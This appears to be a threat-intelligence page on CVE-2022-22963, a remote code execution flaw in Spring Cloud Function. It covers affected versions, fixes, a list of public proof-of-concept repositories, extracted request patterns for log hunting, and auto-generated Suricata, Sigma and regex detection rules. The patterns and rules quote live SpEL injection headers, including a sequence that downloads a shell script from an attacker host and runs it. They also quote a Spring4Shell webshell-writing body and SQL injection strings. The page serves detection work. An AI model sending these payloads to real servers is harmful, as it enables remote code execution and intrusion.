VMware Tanzu Spring Cloud Function
VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability
In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 3.2.0, < 3.2.3
Fixed in 3.2.3
from GitHub Security Advisory GHSA-6v73-fgf6-w5j7
- < 3.1.7
Fixed in 3.1.7
from GitHub Security Advisory GHSA-6v73-fgf6-w5j7
Mitigation
Upgrade org.springframework.cloud:spring-cloud-function-context to 3.2.3 or later.
Upgrade org.springframework.cloud:spring-cloud-function-context to 3.1.7 or later.
Timeline
Days relative to CVE publicationFirst public PoC 1.8 days before publication; added to CISA KEV 146 days after publication. First PoC: dinosn/CVE-2022-22963 (created 30 Mar 2022, found by us: backfilled).
PoC repositories
Found on GitHub.38 PoCs · 5 pending · 3 informational · 1 not a PoC
PoCs 38
| Repository | Created | Found by us | Stars | Assessment |
|---|---|---|---|---|
| dinosn/CVE-2022-22963 | 30 Mar 2022 −1.8 d | backfilled | 119 | PoC |
| RanDengShiFu/CVE-2022-22963 | 30 Mar 2022 −1.5 d | backfilled | 15 | PoC |
| darryk10/CVE-2022-22963 | 30 Mar 2022 −1.3 d | backfilled | 34 | PoC via PoC Index |
| Kirill89/CVE-2022-22963-PoC | 30 Mar 2022 −1.3 d | backfilled | 9 | PoC |
| stevemats/Spring0DayCoreExploit | 30 Mar 2022 −1.2 d | backfilled | 3 | PoC older repo: PoC date unknown, not used for the first PoC |
| 9xN/SpringCore-0day | 31 Mar 2022 −21 h | backfilled | 4 | PoC older repo: PoC date unknown, not used for the first PoC |
| cyberkartik/CVE | 31 Mar 2022 −18 h | backfilled | 0 | PoC older repo: PoC date unknown, not used for the first PoC |
| puckiestyle/CVE-2022-22963 | 31 Mar 2022 −13 h | backfilled | 1 | PoC |
| me2nuk/CVE-2022-22963 | 31 Mar 2022 −9 h | backfilled | 19 | PoC via PoC Index |
| AayushmanThapaMagar/CVE-2022-22963 | 1 Apr 2022 +11 h | backfilled | 1 | PoC |
| dotnes/spring4shell | 2 Apr 2022 +1.4 d | backfilled | 1 | PoC |
| sinjap/spring4shell | 2 Apr 2022 +1.4 d | backfilled | 1 | PoC |
| twseptian/cve-2022-22963 | 3 Apr 2022 +2.3 d | backfilled | 2 | PoC via PoC Index |
| SealPaPaPa/SpringCloudFunction-Research | 5 Apr 2022 +4.7 d | backfilled | 1 | PoC
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
| G01d3nW01f/CVE-2022-22963 | 11 Apr 2022 +10 d | backfilled | 0 | PoC |
| Ki11i0n4ir3/CVE-2022-22963 | 11 Apr 2022 +10 d | backfilled | 0 | PoC |
| k3rwin/spring-cloud-function-rce | 14 Apr 2022 +13 d | backfilled | 8 | PoC |
| jojosec/SPeL-injection-study | 23 Apr 2022 +23 d | backfilled | 0 | PoC |
| iliass-dahman/CVE-2022-22963-POC | 15 Jan 2023 +290 d | backfilled | 4 | PoC |
| charis3306/CVE-2022-22963 | 7 Mar 2023 +341 d | backfilled | 8 | PoC |
| lemmyz4n3771/CVE-2022-22963-PoC | 13 Mar 2023 +347 d | backfilled | 4 | PoC |
| J0ey17/CVE-2022-22963_Reverse-Shell-Exploit | 18 Mar 2023 +351 d | backfilled | 24 | PoC |
| Mustafa1986/CVE-2022-22963 | 21 Mar 2023 +354 d | backfilled | 0 | PoC |
| SourM1lk/CVE-2022-22963-Exploit | 10 Apr 2023 +1.0 y | backfilled | 1 | PoC |
| randallbanner/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE | 17 Apr 2023 +1.0 y | backfilled | 4 | PoC |
| gunzf0x/CVE-2022-22963 | 3 May 2023 +1.1 y | backfilled | 0 | PoC |
| nikn0laty/RCE-in-Spring-Cloud-CVE-2022-22963 | 25 May 2023 +1.1 y | backfilled | 0 | PoC |
| BearClaw96/CVE-2022-22963-Poc-Bearcules | 28 Oct 2023 +1.6 y | backfilled | 0 | PoC |
| xmqaq/CVE-2022-22963 | 28 Dec 2023 +1.7 y | backfilled | 1 | PoC |
| 0x801453/SpringbootGuiExploit | 7 May 2024 +2.1 y | backfilled | 20 | PoC via PoC Index |
| MInggongK/SpringbootGuiExploit | 7 May 2024 +2.1 y | backfilled | 20 | PoC via PoC Index |
| jrbH4CK/CVE-2022-22963 | 8 May 2024 +2.1 y | backfilled | 0 | PoC |
| BBD-YZZ/GUI-TOOLS | 27 May 2024 +2.2 y | backfilled | 25 | PoC via PoC Index |
| Shayz614/CVE-2022-22963 | 13 Dec 2024 +2.7 y | backfilled | 0 | PoC via PoC Index |
| 808rsec/CVE-2022-22963 | 5 May 2026 +4.1 y | backfilled | 0 | PoC |
| r4y-br/CVE-2022-22963 | 22 Aug 2026 +4.4 y | backfilled | 0 | PoC |
| CyberCTF/vulhub-spring-cve-2022-22963 | 8 Oct 2026 +4.5 y | backfilled | 0 | PoC |
| Ameyuh0716/IS-lab1-CVE | 20 Oct 2026 +4.6 y | 14 Nov 2026 | 0 | PoC |
Pending 5
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| HenriV-V/Exploit-for-CVE-2022-22963 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| HenriVlasic/Exploit-for-CVE-2022-22963 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| dr6817/CVE-2022-22963 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| exploitbin/CVE-2022-22963-Spring-Core-RCE | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| trhacknon/CVE-2022-22963 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| kh4sh3i/Spring-CVE | 31 Mar 2022 −4 h | 14 | Informational · list |
| onewinner/VulToolsKit | 27 Jun 2024 +2.2 y | 662 | Informational · list |
| Fhwang0926/seo-labs | 25 Jan 2026 +3.8 y | 0 | Informational · list |
Not a PoC 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| hktalent/spring-spel-0day-poc | 26 Mar 2022 −5.9 d | 355 | Not a PoC · unrelated |
Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Spring Cloud 3.2.2 - Remote Command Execution (RCE) | 11 Jul 2023 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Spring Cloud Function SpEL Injection (exploit/multi/http/spring_cloud_function_spel_injection) | 30 Mar 2022 | 14 Nov 2026 |
| nuclei template | nuclei template: Spring Cloud - Remote Code Execution | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 38 PoC reposPOST /functionRouter
- Key headers
$accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8$content-Type: application/x-www-form-urlencoded$host: 192.168.1.2:8080$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")Accept: */*Accept-Language: enSpring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("{var}")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("whoami")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("calc")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("wget -P /tmp http://$lhost/rs.sh")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("bash /tmp/rs.sh")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch {var}")Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")Spring.cloud.function.routing-Expression: {var}Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("id")- Body markers
oniontest.=xxx=XXXtest=$exploit_poc=jojo=data=d=dataintext/plain- Ports
- 3000, 8080, 8081, 9090, 40775
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Mozilla/5.0 (compatible; VulnerabilityScanner/1.0)- Seen in
- 21 repos: AayushmanThapaMagar/CVE-2022-22963, Ameyuh0716/IS-lab1-CVE, BearClaw96/CVE-2022-22963-Poc-Bearcules, CyberCTF/vulhub-spring-cve-2022-22963, J0ey17/CVE-2022-22963_Reverse-Shell-Exploit, Kirill89/CVE-2022-22963-PoC, Mustafa1986/CVE-2022-22963, SealPaPaPa/SpringCloudFunction-Research, cyberkartik/CVE, darryk10/CVE-2022-22963, dinosn/CVE-2022-22963, gunzf0x/CVE-2022-22963, jojosec/SPeL-injection-study, jrbH4CK/CVE-2022-22963, k3rwin/spring-cloud-function-rce, lemmyz4n3771/CVE-2022-22963-PoC, me2nuk/CVE-2022-22963, puckiestyle/CVE-2022-22963, randallbanner/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE, twseptian/cve-2022-22963, xmqaq/CVE-2022-22963
- Evidence
- AayushmanThapaMagar/CVE-2022-22963/CVE-2022-22963.py:57 Ameyuh0716/IS-lab1-CVE/README.md:347 Ameyuh0716/IS-lab1-CVE/exploit/poc.sh:26 BearClaw96/CVE-2022-22963-Poc-Bearcules/POC-CVE-2022-22963.sh:20 CyberCTF/vulhub-spring-cve-2022-22963/app/README.md:30 CyberCTF/vulhub-spring-cve-2022-22963/app/README.zh-cn.md:26
GET /checkexploit.jsp
- Key headers
Test: {var}- Ports
- 8080
- Seen in
- 2 repos: dotnes/spring4shell, sinjap/spring4shell
- Evidence
- dotnes/spring4shell/CVE-2022-22965.yaml:32 sinjap/spring4shell/CVE-2022-22965.yaml:32
POST /{var}/
- Key headers
C2: <%Suffix: %>- Body markers
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=checkexploitclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=inapplication/x-www-form-urlencoded- Ports
- 8080
- Seen in
- 2 repos: dotnes/spring4shell, sinjap/spring4shell
- Evidence
- dotnes/spring4shell/CVE-2022-22965.yaml:23 sinjap/spring4shell/CVE-2022-22965.yaml:23
GET /shelly.jsp
- Query
pwd=PeekAboocmd=whoami- Ports
- 8080
- Seen in
- 2 repos: dotnes/spring4shell, sinjap/spring4shell
- Evidence
- dotnes/spring4shell/README.md:43 dotnes/spring4shell/README.md:69 sinjap/spring4shell/README.md:43 sinjap/spring4shell/README.md:69
POST /uppercase
- Body markers
testhellotest`isoloomintext/plain- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 2 repos: Ameyuh0716/IS-lab1-CVE, CyberCTF/vulhub-spring-cve-2022-22963
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:343 Ameyuh0716/IS-lab1-CVE/README.md:510 Ameyuh0716/IS-lab1-CVE/exploit/poc.sh:22 CyberCTF/vulhub-spring-cve-2022-22963/app/README.md:21 CyberCTF/vulhub-spring-cve-2022-22963/app/README.zh-cn.md:19 CyberCTF/vulhub-spring-cve-2022-22963/checks/function.sh:4
GET /api.php
- Query
m=testcasef=savexmindimportHTTP_X_REQUESTED_WITH=XMLHttpRequestproductID=upkbbehwgfscwizoglpwbranch=zqbcsfncxlpopmrvchsu- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1- Ports
- 8848
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36- Seen in
- 1 repo: BBD-YZZ/GUI-TOOLS
- Evidence
- BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:150
GET /stupidRumor_war_exploded/fuckUUUU
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36- Seen in
- 1 repo: 9xN/SpringCore-0day
- Evidence
- 9xN/SpringCore-0day/english-version.md:136
POST /api.php/v1/users
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0Cookie: zentaosid=2096a8f74ab1e2b7211ce133e5e83db0; lang=zh-cn; device=desktop; theme=defaultUpgrade-Insecure-Requests: 1- Body markers
"account":"usertest""password":"123qwe!@#""realname":"测试用户"- Ports
- 8848
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36- Seen in
- 1 repo: BBD-YZZ/GUI-TOOLS
- Evidence
- BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:177
PUT /api.php/v1/users/1
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0Cookie: zentaosid=2096a8f74ab1e2b7211ce133e5e83db0; lang=zh-cn; device=desktop; theme=defaultUpgrade-Insecure-Requests: 1- Body markers
"realname":"admin"- Ports
- 8848
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36- Seen in
- 1 repo: BBD-YZZ/GUI-TOOLS
- Evidence
- BBD-YZZ/GUI-TOOLS/pocs/QVD_2024_15263.py:161
DELETE /api/posts/1
- Key headers
Authorization: Bearer {var}- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:62
GET /LFI
- Query
file=/tmp/rce- Ports
- 8080
- Seen in
- 1 repo: lemmyz4n3771/CVE-2022-22963-PoC
- Evidence
- lemmyz4n3771/CVE-2022-22963-PoC/README.md:29
GET /api/data
- Key headers
Authorization: Bearer {var}Authorization: Bearer {var}aa- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:98 Ameyuh0716/IS-lab1-CVE/README.md:101 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:32 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:33 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:36 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:37
GET /api/me
- Key headers
Authorization: Bearer {var}- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:112 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:59
GET /api/posts
- Query
q=JWT- Key headers
Authorization: Bearer {var}- Ports
- 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:104
GET /getdomain.php
- Query
t=- Ports
- 8848
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36- Seen in
- 1 repo: BBD-YZZ/GUI-TOOLS
- Evidence
- BBD-YZZ/GUI-TOOLS/toolss/dnsLog.py:10 BBD-YZZ/GUI-TOOLS/toolss/dnsLog.py:23
POST /api/posts
- Key headers
Authorization: Bearer {var}- Body markers
"title""body":"<img src=x onerror=alert(1)>"q=' OR 1=1 --inapplication/json- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:107 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:48 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:53
POST /auth/login
- Body markers
"username":"alice""password":"Alice@Passw0rd""username""password""username":"alice' OR '1'='1""password":"x"inapplication/json- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/README.md:93 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:14 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:21 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:40 Ameyuh0716/IS-lab1-CVE/scripts/demo_api.sh:43
POST /functionRouter/functionRouter
- Key headers
Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec("{var}")- Body markers
Hello- Seen in
- 1 repo: iliass-dahman/CVE-2022-22963-POC
- Evidence
- iliass-dahman/CVE-2022-22963-POC/attacker/exploit.py:22
POST /uppercase`.
- Body markers
hello=inapplication/x-www-form-urlencoded- Ports
- 8080
- Seen in
- 1 repo: CyberCTF/vulhub-spring-cve-2022-22963
- Evidence
- CyberCTF/vulhub-spring-cve-2022-22963/README.md:19
POST /v1/query
- Content-Type
application/json- Ports
- 3000, 8080, 8081, 9090
- Seen in
- 1 repo: Ameyuh0716/IS-lab1-CVE
- Evidence
- Ameyuh0716/IS-lab1-CVE/scripts/osv_scan.py:42
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/functionRouter(?:[?#].*)?$
(?i)^/checkexploit\.jsp(?:[?#].*)?$
(?i)^/[^/?#]*/(?:[?#].*)?$
(?i)^/shelly\.jsp\?(?:.*&)?pwd=PeekAboo.*cmd=whoami
(?i)^/uppercase(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [3000,8080,8081,9090,40775] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/functionRouter"; http.header; content:"$accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.header; content:"$content-Type: application/x-www-form-urlencoded"; nocase; http.header; content:"$host: 192.168.1.2:8080"; nocase; http.header; content:"$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|5c||22|touch /tmp/test|22|)"; nocase; http.header; content:"$spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|5c||22|ping -c5 172.17.0.1|5c||22|)"; nocase; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch PWNED|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch /tmp/pwned|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|whoami|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|calc|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|wget -P /tmp http://$lhost/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|chmod +x /tmp/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|bash /tmp/rs.sh|22|)"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch "; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|touch /tmp/success|22|)"; nocase; http.header_names; content:"Spring.cloud.function.routing-Expression"; nocase; http.header; content:"Spring.cloud.function.routing-Expression: T(java.lang.Runtime).getRuntime().exec(|22|id|22|)"; nocase; http.request_body; content:"onion"; http.request_body; content:"test"; http.request_body; content:".="; http.request_body; content:"xxx="; http.request_body; content:"XXX"; http.request_body; content:"test="; http.request_body; content:"$exploit_poc="; http.request_body; content:"jojo="; http.request_body; content:"data="; http.request_body; content:"d="; http.request_body; content:"data"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9377669; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/checkexploit.jsp"; http.header_names; content:"Test"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9276424; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.header; content:"C2: <%"; nocase; http.header; content:"Suffix: %>"; nocase; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.prefix=checkexploit"; http.request_body; content:"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9568942; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/shelly.jsp"; http.uri; content:"pwd=PeekAboo"; http.uri; content:"cmd=whoami"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9269038; rev:1;)
alert http any any -> $HOME_NET [3000,8080,8081,9090] (msg:"GG PoC-Monitor CVE-2022-22963 VMware Tanzu Spring Cloud Function exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/uppercase"; http.request_body; content:"test"; http.request_body; content:"hello"; http.request_body; content:"test`"; http.request_body; content:"isoloom"; reference:url,poc.griffinguard.io/cve/CVE-2022-22963; classtype:web-application-attack; sid:9736016; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9377669
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/functionRouter'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.22963
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9276424
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/checkexploit.jsp'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.22963
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9568942
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
category: webserver
detection:
selection:
cs-method: POST
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.22963
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9269038
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/shelly.jsp'
cs-uri-query|contains|all:
- 'pwd=PeekAboo'
- 'cmd=whoami'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.22963
title: VMware Tanzu Spring Cloud Function exploit attempt (CVE-2022-22963)
id: gg-pocmon-cve-2022-22963-9736016
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-22963. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-22963
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/uppercase'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.22963